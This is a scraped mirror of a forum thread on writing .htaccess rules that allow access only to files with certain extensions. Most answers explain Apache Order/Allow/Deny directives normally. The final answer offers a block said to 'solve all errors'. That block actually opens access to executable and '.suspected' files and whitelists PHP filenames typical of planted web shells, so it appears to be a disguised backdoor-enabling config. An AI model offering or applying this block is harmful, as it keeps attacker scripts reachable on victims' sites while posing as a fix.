开发者

htaccess allowing access files by extension?

开发者 https://www.devze.com 2023-04-13 04:43 出处:网络
I saw several htaccess exampl开发者_如何学编程e disabling some files to access: <Files ~ \"\\.(js|sql)$\">

I saw several htaccess exampl开发者_如何学编程e disabling some files to access:

<Files ~ "\.(js|sql)$">
   order deny,allow
   deny from all
</Files>

for example, this prevents to access all .JS and .SQL files, the others are enabled. I want the contrary! I want those files to be ENABLED, all others to be prevented. How to achieve this?


Vorapsak's answer is almost correct. It's actually

order allow,deny
<Files ~ "\.(js|sql)$">
   allow from all
</Files>

You need the order directive at the top (and you don't need anything else).

The interesting thing is, it seems we can't just negate the regex in FilesMatch, which is... weird, especially since the "!" causes no server errors or anything. Well, duh.


and a bit of explanation:

The order cause tells the server about its expected default behaviour. The

 order allow,deny

tells the server to process the "allow" directives first: if a request matches any allow directive, it's marked as okay. Then the "deny" directives are evaulated: if a request matches any deny directives, it's denied (it doesn't matter if it was allowed in the first pass). If no matches were found, the file is denied.

The directive

 order deny,allow

works the opposite way: first the server processes the "deny" directives: if a request matches, it's marked to be denied. Then the "allow" directives are evaulated: if a request matches an allow directive, it's allowed in, even if it matches a deny directive earlier. If a request matches nothing, the file is allowed.

In this specific case, the server first tries to match the allow directives: it sees that js and sql files are allowed, so a request to foo.js goes through; a request to bar.php matches no directives, so it's denied.

If we swap the directive to "order deny,allow", then foo.js will go through (for being a js), and bar.php will also go through, as it matches no patterns.


oh and, one more thing: directives in a section (i.e. < Files> and < Directory>) are always evaulated after the main body of the .htaccess file, overwriting it. That's why Vorapsak's solution did not work as inteded: the main .htaccess denied the request, then the < Files> order was processed, and it allowed the request.

Htaccess is magic of the worst kind, but there's logic to it.


Did you try setting a

deny from all

outside (before) the tag, then changing the

deny from all

to

allow from all

inside? Something like

deny from all
<Files ~ "\.(js|sql)$">
   order allow,deny
   allow from all
</Files>


if you are having trouble with your website, use this htaccess code. It solves all error you may likely encounter

DirectoryIndex index.html index.php

<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<FilesMatch "^(votes|themes|xmlrpcs|uninstall|wp-login|locale|admin|kill|a|allht|index|index1|admin2|license3|votes4|foot5|load|home|items|store).php$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>

If this help you, don't forget to thump up!!!

0

精彩评论

暂无评论...
验证码 换一张
取 消

关注公众号